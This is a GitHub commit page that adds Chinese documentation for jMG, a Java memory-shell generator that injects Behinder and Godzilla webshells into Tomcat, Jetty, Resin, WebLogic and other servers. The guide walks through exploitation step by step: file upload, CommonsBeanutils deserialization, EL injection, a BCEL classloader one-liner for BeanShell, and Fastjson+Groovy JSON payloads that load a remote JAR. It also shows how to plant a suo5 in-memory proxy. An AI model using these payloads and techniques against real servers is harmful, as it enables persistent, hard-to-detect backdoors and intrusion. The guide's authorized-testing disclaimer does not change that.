Skip to content

Commit 65d4ca6

Browse files
committed
迁移文档到 repo
1 parent 6e667fb commit 65d4ca6

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

62 files changed

+652
-0
lines changed

Diff for: jmg-docs/1.0.4/README.md

+367
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,367 @@
1+
---
2+
title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
3+
author: pen4uin
4+
date: 2023-06-04
5+
---
6+
7+
# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
8+
9+
## 0x01 简介
10+
11+
**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。
12+
13+
![](./img/1708846585021.png)
14+
15+
功能介绍
16+
17+
- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
18+
- 支持的网站管理工具 (Behinder/Godzilla/Custom)
19+
- 支持的内存马类型 (Filter/Listener/Interceptor)
20+
- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
21+
- 支持的辅助模块 (探测目标中间件/序列化数据封装)
22+
23+
模块划分
24+
25+
- 内存马生成模块
26+
- Behinder、Godzilla
27+
- Custom
28+
- 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
29+
- 辅助模块
30+
- ServerType Detector 中间件探测器
31+
- 探测中间件信息,常见场景:SpringBoot Fatjar
32+
- 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
33+
- Ysoserial Payload Generator
34+
- 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
35+
36+
37+
参数说明
38+
39+
| 参数名称 | 参数说明 | 其他 | |
40+
|-------------|----------|----------------------------------------|-|
41+
| server_type | 选择中间件的类型 | |
42+
| shell_type | 选择内存马的类型 | |
43+
| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 |
44+
| format_type | 输出格式 | |
45+
46+
更多参数 - 参数自定义
47+
48+
![](./img/1708846851378.png)
49+
50+
## 0x02 中间件覆盖情况
51+
52+
| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
53+
|-----------------|-------------------|-----------------|-------------------|-----------------|
54+
| tomcat 9.0.39 |||||
55+
| tomcat 8.5.53 |||||
56+
| tomcat 7.0.59 |||||
57+
| tomcat 6.0.48 |||||
58+
| tomcat 5.5.36 |||||
59+
| jetty 9.4.43 |||||
60+
| jetty 8.2.0 |||||
61+
| jetty 7.6.0 |||||
62+
| resin 4.0.66 |||||
63+
| resin 3.1.15 |||||
64+
| weblogic 10.3.6 |||||
65+
| weblogic 12.1.3 |||||
66+
| websphere 8.5.5 |||||
67+
| websphere 9.0.0 |||||
68+
69+
注:以上测试结果仅供参考
70+
71+
72+
## 0x03 常见漏洞场景
73+
74+
### 01 文件上传漏洞 (JSP)
75+
76+
本地测试环境
77+
- Tomcat v6.0.48
78+
- JDK 8
79+
- 文件上传
80+
81+
1、生成 jsp 文件
82+
83+
![](./img/1708847432299.png)
84+
85+
2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置
86+
87+
- 设置请求头
88+
89+
![](./img/1708847448833.png)
90+
91+
3、成功连接
92+
93+
![](./img/1708847459275.png)
94+
95+
### 02 反序列化漏洞 (readObject)
96+
97+
本地测试环境
98+
- Tomcat v8.5.53
99+
- JDK 8
100+
- readObject 反序列化
101+
- CB1 链
102+
103+
1、生成 class 文件
104+
```text
105+
server_type=Tomcat
106+
shell_type=Listener
107+
# 继承 AbstractTranslet
108+
gadget_type=JDK_AbstractTranslet
109+
format_type=CLASS
110+
output_path=/tmp/
111+
```
112+
113+
![](./img/1708847507811.png)
114+
115+
2、使用 `辅助模块` 进行序列化数据封装
116+
117+
```text
118+
yso_gadget=CommonsBeanutils1
119+
yso_cmd=class_file:/tmp/HttpClientUtil.class
120+
format_type=BASE64
121+
```
122+
123+
![](./img/1708847533913.png)
124+
125+
注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
126+
127+
3、利用后,参考使用说明进行连接
128+
129+
![](./img/1708847546219.png)
130+
131+
### 03 表达式注入漏洞 (EL)
132+
133+
本地测试环境
134+
- Tomcat v8.5.83
135+
- JDK 8
136+
- EL 表达式代码执行
137+
138+
1、生成 class文件
139+
```text
140+
server_type=Tomcat
141+
shell_type=Listener
142+
gadget_type=NONE
143+
format_type=CLASS
144+
output_path=/tmp/
145+
```
146+
147+
![](./img/1708847591532.png)
148+
149+
2、使用 jexpr-encoder-utils 进行封装
150+
151+
![](./img/1708847605226.png)
152+
153+
注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
154+
155+
3、利用后,参考使用说明进行连接
156+
157+
![](./img/1708847621706.png)
158+
159+
### 04 代码执行漏洞 (Bsh)
160+
161+
本地测试环境
162+
- Resin v4.0.40
163+
- JDK 8
164+
- Bsh 代码执行漏洞
165+
166+
1、选择 输出格式为 BCEL ,生成 paylaod
167+
```text
168+
server_type=Resin
169+
shell_type=Listener
170+
gadget_type=NONE
171+
format_type=BCEL
172+
```
173+
174+
![](./img/1708847681909.png)
175+
176+
2、利用 BCEL 打内存马
177+
178+
```text
179+
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
180+
```
181+
182+
3、参考使用说明进行连接
183+
184+
![](./img/1708847705412.png)
185+
186+
### 05 反序列化漏洞 (Fastjson)
187+
188+
本地测试环境
189+
- Tomcat v8.5.83
190+
- Fastjson v1.2.80 反序列化漏洞
191+
- Groovy v3.0.8
192+
193+
194+
1、选择 输出格式为 JAR,生成 payload
195+
196+
```text
197+
server_type=Tomcat
198+
shell_type=Listener
199+
# 选择利用链为 Fastjson+Groovy
200+
gadget_type=FastjsonGroovy
201+
format_type=JAR
202+
output_path=/tmp/fj/
203+
```
204+
205+
![](./img/1708847745212.png)
206+
207+
2、利用 groovy 利用链打内存马
208+
209+
第1个请求
210+
211+
```json
212+
{
213+
"@type":"java.lang.Exception",
214+
"@type":"org.codehaus.groovy.control.CompilationFailedException",
215+
"unit":{}
216+
}
217+
```
218+
219+
第2个请求
220+
221+
```json
222+
{
223+
"@type":"org.codehaus.groovy.control.ProcessingUnit",
224+
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
225+
"config":{
226+
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
227+
"classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
228+
}
229+
}
230+
```
231+
232+
![](./img/1708847792621.png)
233+
234+
3、参考使用说明进行连接
235+
236+
![](./img/1708847802775.png)
237+
238+
### 06 模板注入漏洞 (Thymeleaf)
239+
本地测试环境
240+
- SpringBoot v2.2.0.RELEASE
241+
- 内嵌 Jetty
242+
- JDK 8
243+
- Thymeleaf 模板注入漏洞
244+
245+
由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。
246+
247+
这种情况一般有两种方案:
248+
- 注入框架层面的内存马,比如 interceptor
249+
- 先判断出目标中间件,再注入对应中间件的内存马
250+
251+
这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。
252+
253+
1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择
254+
255+
```text
256+
detect_way=DFSEcho
257+
server_type=Tomcat
258+
dnslog_domain=xxx.dnslog.cn
259+
httplog_url=http://xxx.httplog.cn
260+
sleep_seconds=5
261+
gadget_type=NONE
262+
format_type=BCEL
263+
```
264+
265+
![](./img/1708847855479.png)
266+
267+
2、获取到目标中间件为 jetty
268+
269+
![](./img/1708847867937.png)
270+
271+
3、生成对应的 payload
272+
273+
```text
274+
server_type=Jetty
275+
shell_type=Listener
276+
gadget_type=NONE
277+
format_type=BCEL
278+
```
279+
280+
![](./img/1708847885651.png)
281+
282+
4、漏洞利用
283+
284+
第1次尝试 - 失败
285+
286+
![](./img/1708847896934.png)
287+
288+
很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。
289+
290+
重新生成 payload
291+
292+
![](./img/1708847909642.png)
293+
294+
5、利用后参考使用说明进行连接即可
295+
296+
![](./img/1708847921416.png)
297+
298+
更多的场景就见仁见智了。
299+
300+
301+
## 0x04 常见利用场景
302+
303+
### 01 注入内存代理
304+
本地测试环境
305+
306+
- Tomcat v8.5.53
307+
- JDK 8
308+
- readObject 反序列化
309+
- CB1 链
310+
311+
312+
1、以 suo5 为例,编译 Suo5Filter.java
313+
314+
https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
315+
316+
2、选择对应的中间件,生成 payload
317+
318+
```text
319+
server_type=Tomcat
320+
gadget_type=JDK_AbstractTranslet
321+
format_type=CLASSc
322+
lass_file_path=/tmp/Suo5Filter.class
323+
output_path=/tmp/
324+
```
325+
326+
![](./img/1708847982473.png)
327+
328+
3、使用 辅助模块 进行序列化数据封装
329+
330+
![](./img/1708847996329.png)
331+
332+
4、利用后连接测试,内存代理注入成功
333+
334+
![](./img/1708848005979.png)
335+
336+
337+
## 0x05 小结
338+
339+
下载地址
340+
341+
[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
342+
343+
注意⚠️
344+
```text
345+
该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。
346+
如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流
347+
```
348+
349+
目录结构如下 (需要下载 yso-for-woodpecker)
350+
```text
351+
pen4uin@bogon Desktop % tree /tmp/woodpecker
352+
/tmp/woodpecker
353+
├── common
354+
│ └── ysoserial-for-woodpecker-0.5.2.jar
355+
├── config.db
356+
├── plugin
357+
│ └── jMG-1.0.4.beta1.jar
358+
└── woodpecker-framework.1.3.5.jar
359+
```
360+
361+
362+
<br>
363+
参考
364+
- https://github.com/feihong-cs/memShell
365+
- https://github.com/su18/MemoryShell
366+
- https://github.com/woodpecker-framework/
367+
- https://github.com/BeichenDream/GodzillaMemoryShellProject

Diff for: jmg-docs/1.0.4/img/1708846585021.png

61.3 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708846851378.png

77.4 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847432299.png

93.7 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847448833.png

74.1 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847459275.png

178 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847507811.png

100 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847533913.png

228 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847546219.png

179 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847591532.png

64.5 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847605226.png

156 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847621706.png

183 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847681909.png

159 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847705412.png

166 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847745212.png

65 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847792621.png

114 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847802775.png

162 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847855479.png

168 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847867937.png

110 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847885651.png

127 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847896934.png

151 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847909642.png

98.6 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847921416.png

294 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847982473.png

37.9 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708847996329.png

108 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708848005979.png

179 KB
Loading

Diff for: jmg-docs/1.0.4/img/1708848140183.png

68.6 KB
Loading

0 commit comments

Comments
 (0)